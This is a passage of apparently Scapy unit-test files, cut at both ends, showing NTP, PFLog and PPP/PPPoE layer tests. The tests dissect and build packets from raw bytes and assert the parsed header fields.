response\ns = b'\\xd7\\x00\\x03-\\x00\\x03\\x00\\x88\\x7f\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00lo\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xf4\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\x00\\n\\x00\\x02\\x0f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\x00\\x02\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00eth0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x19\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x13\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xf4\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x05\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\x00\\xc0\\xa8ze\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xa8z\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00eth1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x19\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00=\\x00\\x00\\x00}\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xf4\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\t\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\x00'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 1\nassert p.more == 1\nassert p.version == 2\nassert p.mode == 7\nassert p.auth == 0\nassert p.request_code == 45\nassert p.err == 0\nassert p.nb_items == 3\nassert p.data_item_size == 136\nassert isinstance(p.data[0], NTPInfoIfStatsIPv4)\nassert p.data[0].unaddr == \"127.0.0.1\"\nassert p.data[0].unmask == \"255.0.0.0\"\nassert p.data[0].ifname.startswith(b\"lo\")\n\n############\n############\n+ RawVal tests\n\n= Build an NTP packet using RawVal\n\nfrom decimal import Decimal\n\nprecision = b\"\\xec\"  # -20\ndispersion = b\"\\x00\\x00\\xf2\\xce\"  # 0.948455810546875\ntime_stamp = b\"\\xe6}gt\\x00\\x00\\x00\\x00\" # Sat, 16 Jul 2022 16:36:04 +0000\n\npkt_1 = NTP(\n    precision=RawVal(precision),\n    dispersion=RawVal(dispersion),\n    orig=RawVal(time_stamp),\n    sent=RawVal(time_stamp),\n)\n\n# This field is intentionally set here, rather than in the constructor above,\n# to cover a different code path:\npkt_1.recv = RawVal(time_stamp)\n\nassert (isinstance(pkt_1.precision, RawVal)), type(pkt_1.precision)\nassert (isinstance(pkt_1.dispersion, RawVal)), type(pkt_1.dispersion)\nassert (isinstance(pkt_1.orig, RawVal)), type(pkt_1.orig)\nassert (isinstance(pkt_1.sent, RawVal)), type(pkt_1.sent)\nassert (isinstance(pkt_1.recv, RawVal)), type(pkt_1.recv)\n\nassert pkt_1.precision.val == precision, pkt_1.precision.val\nassert pkt_1.dispersion.val == dispersion, pkt_1.dispersion.val\nassert pkt_1.orig.val == time_stamp, pkt_1.orig.val\nassert pkt_1.sent.val == time_stamp, pkt_1.sent.val\nassert pkt_1.recv.val == time_stamp, pkt_1.recv.val\n\ntime_stamp_hex = 0x00000000e67d6774\npkt_2 = NTP(\n    precision=-20,\n    dispersion=Decimal('0.948455810546875'),\n    orig=time_stamp_hex,\n    sent=time_stamp_hex,\n    recv=time_stamp_hex\n)\n\nraw_pkt = (b\"#\\x02\\n\\xec\\x00\\x00\\x00\\x00\\x00\\x00\\xf2\\xce\\x7f\\x00\\x00\\x01\\x00\"\n           b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xe6}gt\\x00\\x00\\x00\\x00\\xe6}gt\\x00\"\n           b\"\\x00\\x00\\x00\\xe6}gt\\x00\\x00\\x00\\x00\")\n\nassert raw(pkt_1) == raw(pkt_2) == raw_pkt\n"
  },
  {
    "path": "test/scapy/layers/pflog.uts",
    "content": "% Regression tests for the PFLog layer\n\n# More information at http://www.secdev.org/projects/UTscapy/\n\n\n############\n############\n\n+ Multiple operations of PFLog packets dissections\n\n= Load module\n\nload_layer(\"pflog\")\nfrom io import BytesIO\n\n= Dissect PFLog packet of a IP()/TCP() dropped packet\n\npcap_pflog_tcp = BytesIO(b'\\xd4\\xc3\\xb2\\xa1\\x02\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00u\\x00\\x00\\x00\\x89*\\xce_}\\xcf\\x07\\x00\\xa4\\x00\\x00\\x00\\xa4\\x00\\x00\\x00d\\x02\\x01\\x00vio0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xa0\\x86\\x01\\x00\\x00\\x00\\x00\\x00\\x84S\\x01\\x00\\x01\\x00\\x02\\x00\\n\\xc8\\xc8\\xfe\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\xc8\\xc8\\x9a\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xa3\\xbd\\x00\\x17E\\x00\\x00@c\\xae@\\x00@\\x06/\\xe1\\n\\xc8\\xc8\\xfe\\n\\xc8\\xc8\\x9a\\xa3\\xbd\\x00\\x17\\xc8\\xc9\\xd9\\xf2\\x00\\x00\\x00\\x00\\xb0\\x02@\\x00.l\\x00\\x00\\x02\\x04\\x05\\xb4\\x01\\x01\\x04\\x02\\x01\\x03\\x03\\x06\\x01\\x01\\x08\\n\\x86\\xb8S\\x1c\\x00\\x00\\x00\\x00')\npflog_tcp_packets = rdpcap(pcap_pflog_tcp)\n# PFLog Layer\nassert pflog_tcp_packets[0][PFLog].hdrlen == 100\nassert pflog_tcp_packets[0][PFLog].addrfamily == 2 # IPv4\nassert pflog_tcp_packets[0][PFLog].action == 1 # drop\nassert pflog_tcp_packets[0][PFLog].saddr == '10.200.200.254'\nassert pflog_tcp_packets[0][PFLog].daddr == '10.200.200.154'\n# IP Layer\nassert pflog_tcp_packets[0][IP].proto == 6\nassert pflog_tcp_packets[0][IP].src == '10.200.200.254'\nassert pflog_tcp_packets[0][IP].dst == '10.200.200.154'\n# TCP Layer\nassert pflog_tcp_packets[0][TCP].dport == 23\n\n= Dissect PFLog packet of a IP()/UDP() dropped packet\n\npcap_pflog_udp = BytesIO(b'\\xd4\\xc3\\xb2\\xa1\\x02\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00u\\x00\\x00\\x00O*\\xce_?\\x1d\\x05\\x00\\x82\\x00\\x00\\x00\\x82\\x00\\x00\\x00d\\x02\\x01\\x00vio0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xa0\\x86\\x01\\x00\\x00\\x00\\x00\\x00{\\xdb\\x00\\x00\\x01\\x00\\x02\\x00\\n\\xc8\\xc8\\xfe\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\xc8\\xc8\\x9a\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xa9\\x0b\\x00\\x17E\\x00\\x00\\x1e\\xdd\\x1c\\x00\\x00@\\x11\\xf6\\x89\\n\\xc8\\xc8\\xfe\\n\\xc8\\xc8\\x9a\\xa9\\x0b\\x00\\x17\\x00\\nN\\x84')\npflog_udp_packets = rdpcap(pcap_pflog_udp)\n# PFLog Layer\nassert pflog_udp_packets[0][PFLog].hdrlen == 100\nassert pflog_udp_packets[0][PFLog].addrfamily == 2 # IPv4\nassert pflog_udp_packets[0][PFLog].action == 1 # drop\nassert pflog_udp_packets[0][PFLog].saddr == '10.200.200.254'\nassert pflog_udp_packets[0][PFLog].daddr == '10.200.200.154'\n# IP Layer\nassert pflog_udp_packets[0][IP].proto == 17\nassert pflog_udp_packets[0][IP].src ==  '10.200.200.254'\nassert pflog_udp_packets[0][IP].dst ==  '10.200.200.154'\n# UDP Layer\nassert pflog_udp_packets[0][UDP].dport == 23\n\n= Dissect PFLog packet of a IP()/ICMP() echo-request dropped packet\n\npcap_pflog_icmp = BytesIO(b'\\xd4\\xc3\\xb2\\xa1\\x02\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00u\\x00\\x00\\x00\\x8d*\\xce_\\x16[\\x0c\\x00\\xb8\\x00\\x00\\x00\\xb8\\x00\\x00\\x00d\\x02\\x01\\x00vio0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xa0\\x86\\x01\\x00\\x00\\x00\\x00\\x00\\x84S\\x01\\x00\\x01\\x00\\x02\\x00\\n\\xc8\\xc8\\xfe\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\xc8\\xc8\\x9a\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x16K\\x00\\x08E\\x00\\x00T.\\x88\\x00\\x00\\xff\\x01\\xe5\\xf7\\n\\xc8\\xc8\\xfe\\n\\xc8\\xc8\\x9a\\x08\\x00\\xabD\\x16K\\x00\\x00')\npflog_icmp_packets = rdpcap(pcap_pflog_icmp)\n# PFLog Layer\nassert pflog_icmp_packets[0][PFLog].hdrlen == 100\nassert pflog_icmp_packets[0][PFLog].addrfamily == 2 # IPv4\nassert pflog_icmp_packets[0][PFLog].action == 1 # drop\nassert pflog_icmp_packets[0][PFLog].saddr == '10.200.200.254'\nassert pflog_icmp_packets[0][PFLog].daddr == '10.200.200.154'\n# IP Layer\nassert pflog_icmp_packets[0][IP].proto == 1\nassert pflog_icmp_packets[0][IP].src ==  '10.200.200.254'\nassert pflog_icmp_packets[0][IP].dst ==  '10.200.200.154'\n# ICMP Layer\nassert pflog_icmp_packets[0][ICMP].type == 8 and pflog_icmp_packets[0][ICMP].code == 0\n\n= Dissect PFLog packet of a IPv6()/TCP() dropped packet\n\npcap_pflog_tcp_ipv6_drop = BytesIO(b'\\xd4\\xc3\\xb2\\xa1\\x02\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00u\\x00\\x00\\x00\\x9dA\\xce_\\x98P\\x08\\x00\\xb8\\x00\\x00\\x00\\xb8\\x00\\x00\\x00d\\x18\\x01\\x00vlan3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xa0\\x86\\x01\\x00\\x00\\x00\\x00\\x00\\xd9\\x08\\x00\\x00\\x01\\x00\\x18\\x00\\x11\\x11\\x11\\x11\\x11\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x11\\x11\\x11\\x11\\x11\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xfc\\x04\\xe9\\x00\\x17`\\n\\xb8\\x13\\x00,\\x06@\\x11\\x11\\x11\\x11\\x11\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x11\\x11\\x11\\x11\\x11\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xfc\\x04\\xe9\\x00\\x17\\xd6\\xc3:\\xd6\\x00\\x00\\x00\\x00\\xb0\\x02@\\x00\\xf7\\xeb\\x00\\x00\\x02\\x04\\x05\\xa0\\x01\\x01\\x04\\x02\\x01\\x03\\x03\\x06\\x01\\x01\\x08\\nS\\xd6,P\\x00\\x00\\x00\\x00')\npflog_tcp_ipv6_drop_packets = rdpcap(pcap_pflog_tcp_ipv6_drop)\n# PFLog Layer\nassert pflog_tcp_ipv6_drop_packets[0][PFLog].hdrlen == 100\nassert pflog_tcp_ipv6_drop_packets[0][PFLog].addrfamily == 24 # IPv6\nassert pflog_tcp_ipv6_drop_packets[0][PFLog].action == 1\nassert pflog_tcp_ipv6_drop_packets[0][PFLog].saddr == '1111:1111:1111::1'\nassert pflog_tcp_ipv6_drop_packets[0][PFLog].daddr == '1111:1111:1111::fc'\n# IP Layer\nassert pflog_tcp_ipv6_drop_packets[0][IPv6].nh == 6\nassert pflog_tcp_ipv6_drop_packets[0][IPv6].src == '1111:1111:1111::1'\nassert pflog_tcp_ipv6_drop_packets[0][IPv6].dst == '1111:1111:1111::fc'\n# TCP Layer\nassert pflog_tcp_ipv6_drop_packets[0][TCP].dport == 23\n\n= Dissect PFLog packet of a IPv6()/TCP() passed packet\n\npcap_pflog_tcp_ipv6_pass = BytesIO(b'\\xd4\\xc3\\xb2\\xa1\\x02\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00u\\x00\\x00\\x00$B\\xce_\\x8e\\xc1\\x01\\x00\\xb8\\x00\\x00\\x00\\xb8\\x00\\x00\\x00d\\x18\\x00\\x00vlan3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xa0\\x86\\x01\\x00\\x00\\x00\\x00\\x00\\xa4\\x85\\x00\\x00\\x01\\x00\\x18\\x00\\x11\\x11\\x11\\x11\\x11\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x11\\x11\\x11\\x11\\x11\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xfczw\\x00\\x16`\\x02\\x82\\x85\\x00,\\x06@\\x11\\x11\\x11\\x11\\x11\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x11\\x11\\x11\\x11\\x11\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xfczw\\x00\\x16\\xa3\\x9d\\x059\\x00\\x00\\x00\\x00\\xb0\\x02@\\x00\\xd9\\xf1\\x00\\x00\\x02\\x04\\x05\\xa0\\x01\\x01\\x04\\x02\\x01\\x03\\x03\\x06\\x01\\x01\\x08\\nu[\\x1b\\xfb\\x00\\x00\\x00\\x00')\npflog_tcp_ipv6_pass_packets = rdpcap(pcap_pflog_tcp_ipv6_pass)\n# PFLog Layer\nassert pflog_tcp_ipv6_pass_packets[0][PFLog].hdrlen == 100\nassert pflog_tcp_ipv6_pass_packets[0][PFLog].addrfamily == 24 # IPv6\nassert pflog_tcp_ipv6_pass_packets[0][PFLog].action == 0\nassert pflog_tcp_ipv6_pass_packets[0][PFLog].saddr == '1111:1111:1111::1'\nassert pflog_tcp_ipv6_pass_packets[0][PFLog].daddr == '1111:1111:1111::fc'\n# IP Layer\nassert pflog_tcp_ipv6_pass_packets[0][IPv6].nh == 6\nassert pflog_tcp_ipv6_pass_packets[0][IPv6].src == '1111:1111:1111::1'\nassert pflog_tcp_ipv6_pass_packets[0][IPv6].dst == '1111:1111:1111::fc'\n# TCP Layer\nassert pflog_tcp_ipv6_pass_packets[0][TCP].dport == 22\n\n= Dissect PFLog packet of a IPv6()/UDP() dropped packet\n\npcap_pflog_udp_ipv6_drop = BytesIO(b'\\xd4\\xc3\\xb2\\xa1\\x02\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00u\\x00\\x00\\x00\\xccA\\xce_\\xf8\\x10\\x03\\x00\\x95\\x00\\x00\\x00\\x95\\x00\\x00\\x00d\\x18\\x01\\x00vlan3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xa0\\x86\\x01\\x00\\x00\\x00\\x00\\x00\\xd9\\x08\\x00\\x00\\x01\\x00\\x18\\x00\\x11\\x11\\x11\\x11\\x11\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x11\\x11\\x11\\x11\\x11\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xfc[U\\x00\\x16`\\x0f\\x1b\\x84\\x00\\t\\x11@\\x11\\x11\\x11\\x11\\x11\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x11\\x11\\x11\\x11\\x11\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xfc[U\\x00\\x16\\x00\\t\\xe4\\xeeX')\npflog_udp_ipv6_drop_packets = rdpcap(pcap_pflog_udp_ipv6_drop)\n# PFLog Layer\nassert pflog_udp_ipv6_drop_packets[0][PFLog].hdrlen == 100\nassert pflog_udp_ipv6_drop_packets[0][PFLog].addrfamily == 24 # IPv6\nassert pflog_udp_ipv6_drop_packets[0][PFLog].action == 1\nassert pflog_udp_ipv6_drop_packets[0][PFLog].saddr == '1111:1111:1111::1'\nassert pflog_udp_ipv6_drop_packets[0][PFLog].daddr == '1111:1111:1111::fc'\n# IP Layer\nassert pflog_udp_ipv6_drop_packets[0][IPv6].nh == 17\nassert pflog_udp_ipv6_drop_packets[0][IPv6].src == '1111:1111:1111::1'\nassert pflog_udp_ipv6_drop_packets[0][IPv6].dst == '1111:1111:1111::fc'\n# UDP Layer\nassert pflog_udp_ipv6_drop_packets[0][UDP].dport == 22\n\n= Dissect PFLog packet of a IPv6()/ICMP6() dropped packet\n\npcap_pflog_icmp6_drop = BytesIO(b'\\xd4\\xc3\\xb2\\xa1\\x02\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00u\\x00\\x00\\x005A\\xce_\\xa5\\x06\\x05\\x00\\xac\\x00\\x00\\x00\\xac\\x00\\x00\\x00d\\x18\\x01\\x00vlan3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xa0\\x86\\x01\\x00\\x00\\x00\\x00\\x00\\x89\\xa0\\x00\\x00\\x01\\x00\\x18\\x00\\x11\\x11\\x11\\x11\\x11\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xff\\x00\\x00\\xfc\\x11\\xed\\x00\\x87`\\x00\\x00\\x00\\x00 :\\xff\\x11\\x11\\x11\\x11\\x11\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xff\\x00\\x00\\xfc\\x87\\x00\\xf0\\xf2\\x00\\x00\\x00\\x00\\x11\\x11\\x11\\x11\\x11\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xfc\\x01\\x01RT\\x00]\\xcd\\x9b')\npflog_icmp6_drop_packets = rdpcap(pcap_pflog_icmp6_drop)\n# PFLog Layer\nassert pflog_icmp6_drop_packets[0][PFLog].hdrlen == 100\nassert pflog_icmp6_drop_packets[0][PFLog].addrfamily == 24 # IPv6\nassert pflog_icmp6_drop_packets[0][PFLog].action == 1\nassert pflog_icmp6_drop_packets[0][PFLog].saddr == '1111:1111:1111::1'\nassert pflog_icmp6_drop_packets[0][PFLog].daddr == 'ff02::1:ff00:fc'\n# IP Layer\nassert pflog_icmp6_drop_packets[0][IPv6].nh == 58\nassert pflog_icmp6_drop_packets[0][IPv6].src == '1111:1111:1111::1'\nassert pflog_icmp6_drop_packets[0][IPv6].dst == 'ff02::1:ff00:fc'\n# ICMP6 Layer\nassert pflog_icmp6_drop_packets[0][ICMPv6ND_NS].type == 135 and pflog_icmp6_drop_packets[0][ICMPv6ND_NS].code == 0\nassert pflog_icmp6_drop_packets[0][ICMPv6ND_NS].tgt == '1111:1111:1111::fc'\n\n= Dissect PFLog packet of a IPv6()/ICMP6() passed packet\n\npcap_pflog_icmp6_pass = BytesIO(b'\\xd4\\xc3\\xb2\\xa1\\x02\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00u\\x00\\x00\\x00 B\\xce_\\xf4\\x05\\x05\\x00\\xac\\x00\\x00\\x00\\xac\\x00\\x00\\x00d\\x18\\x00\\x00vlan3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xa0\\x86\\x01\\x00\\x00\\x00\\x00\\x00\\xa4\\x85\\x00\\x00\\x01\\x00\\x18\\x00\\x11\\x11\\x11\\x11\\x11\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x11\\x11\\x11\\x11\\x11\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xfc\\x11\\xed\\x00\\x87`\\x00\\x00\\x00\\x00 :\\xff\\x11\\x11\\x11\\x11\\x11\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x11\\x11\\x11\\x11\\x11\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xfc\\x87\\x00\\xbb\\xc4\\x00\\x00\\x00\\x00\\x11\\x11\\x11\\x11\\x11\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xfc\\x01\\x01RT\\x00]\\xcd\\x9b')\npflog_icmp6_pass_packets = rdpcap(pcap_pflog_icmp6_pass)\n# PFLog Layer\nassert pflog_icmp6_pass_packets[0][PFLog].hdrlen == 100\nassert pflog_icmp6_pass_packets[0][PFLog].addrfamily == 24 # IPv6\nassert pflog_icmp6_pass_packets[0][PFLog].action == 0\nassert pflog_icmp6_pass_packets[0][PFLog].saddr == '1111:1111:1111::1'\nassert pflog_icmp6_pass_packets[0][PFLog].daddr == '1111:1111:1111::fc'\n# IP Layer\nassert pflog_icmp6_pass_packets[0][IPv6].nh == 58\nassert pflog_icmp6_pass_packets[0][IPv6].src == '1111:1111:1111::1'\nassert pflog_icmp6_pass_packets[0][IPv6].dst == '1111:1111:1111::fc'\n# ICMP6 Layer\nassert pflog_icmp6_pass_packets[0][ICMPv6ND_NS].type == 135 and pflog_icmp6_pass_packets[0][ICMPv6ND_NS].code == 0\nassert pflog_icmp6_pass_packets[0][ICMPv6ND_NS].tgt == '1111:1111:1111::fc'\n"
  },
  {
    "path": "test/scapy/layers/ppp.uts",
    "content": "% Scapy PPP layer tests\n\n############\n############\n+ PPP tests\n\n= PPPoE\n~ ppp pppoe\np=Ether(b'\\xff\\xff\\xff\\xff\\xff\\xff\\x08\\x00\\x27\\xf3<5\\x88c\\x11\\x09\\x00\\x00\\x00\\x0c\\x01\\x01\\x00\\x00\\x01\\x03\\x00\\x04\\x01\\x02\\x03\\x04\\x00\\x00\\x00\\x00')\np\nassert p[Ether].type==0x8863\nassert PPPoED in p\nassert p[PPPoED].version==1\nassert p[PPPoED].type==1\nassert p[PPPoED].code==0x09\nassert PPPoED_Tags in p\nq=p[PPPoED_Tags]\nassert q.tag_list is not None\nr=q.tag_list\nassert len(r) == 2\nassert r[0].tag_type==0x0101\nassert r[1].tag_type==0x0103\nassert r[1].tag_len==4\nassert r[1].tag_value==b'\\x01\\x02\\x03\\x04'\n\nassert Padding in p and len(p[Padding]) == 4\n\n= PPPoE with tags (appended)\n~ ppp ppoe\neth = Ether(dst=\"ff:ff:ff:ff:ff:ff\", src=\"12:12:12:12:12:12\", type=0x8863)\npppoed = PPPoED(version=1, type=1, code=0x9, sessionid=0, len=8)\nserver_name = PPPoETag(tag_type=0x0101, tag_len=0)\nend_of_list = PPPoETag(tag_type=0, tag_len=0)\n\noriginal = eth / pppoed / server_name / end_of_list\ndissected = Ether(original.build())\nassert PPPoED_Tags in dissected\nassert dissected[PPPoED_Tags].tag_list[0].tag_type == 0x0101\nassert dissected[PPPoED_Tags].tag_list[1].tag_type == 0\n\n=  PPPoE with padding\n~ ppp pppoe\np = CookedLinux(b'\\x00\\x00\\x00\\x01\\x00\\x06\\x00\\x1d\\xaa\\x00\\x00\\x00\\x00\\x00\\x88c\\x11\\xa7\\x08\\x81\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8e\\xf3\\x9d\\xf1\\xc5C\\xbe\\xde')\nassert p.summary() == 'CookedLinux / PPPoE Active Discovery Terminate (PADT) / Padding'\nassert p[PPPoED].len == 0\nassert len(p[Padding].load) == 44\n\n= PPP/HDLC\n~ ppp hdlc\np = HDLC()/PPP()/PPP_IPCP()\np\ns = raw(p)\ns\nassert s == b'\\xff\\x03\\x80!\\x01\\x00\\x00\\x04'\np = PPP(s)\np\nassert HDLC in p\nassert p[HDLC].control==3\nassert p[PPP].proto==0x8021\nq = PPP(s[2:])\nq\nassert HDLC not in q\nassert q[PPP].proto==0x8021\n\n\n= PPP IPCP\n~ ppp ipcp\np = PPP(b'\\x80!\\x01\\x01\\x00\\x10\\x03\\x06\\xc0\\xa8\\x01\\x01\\x02\\x06\\x00-\\x0f\\x01')\np\nassert p[PPP_IPCP].code == 1\nassert p[PPP_IPCP_Option_IPAddress].data==\"192.168.1.1\"\nassert p[PPP_IPCP_Option].data == b'\\x00-\\x0f\\x01'\np=PPP()/PPP_IPCP(options=[PPP_IPCP_Option_DNS1(data=\"1.2.3.4\"),PPP_IPCP_Option_DNS2(data=\"5.6.7.8\"),PPP_IPCP_Option_NBNS2(data=\"9.10.11.12\")])\nr = raw(p)\nr\nassert r == b'\\x80!\\x01\\x00\\x00\\x16\\x81\\x06\\x01\\x02\\x03\\x04\\x83\\x06\\x05\\x06\\x07\\x08\\x84\\x06\\t\\n\\x0b\\x0c'\nq = PPP(r)\nq\nassert raw(p) == raw(q)\nassert PPP(raw(q))==q\np = PPP()/PPP_IPCP(options=[PPP_IPCP_Option_DNS1(data=\"1.2.3.4\"),PPP_IPCP_Option_DNS2(data=\"5.6.7.8\"),PPP_IPCP_Option(type=123,data=\"ABCDEFG\"),PPP_IPCP_Option_NBNS2(data=\"9.10.11.12\")])\np\nr = raw(p)\nr\nassert r == 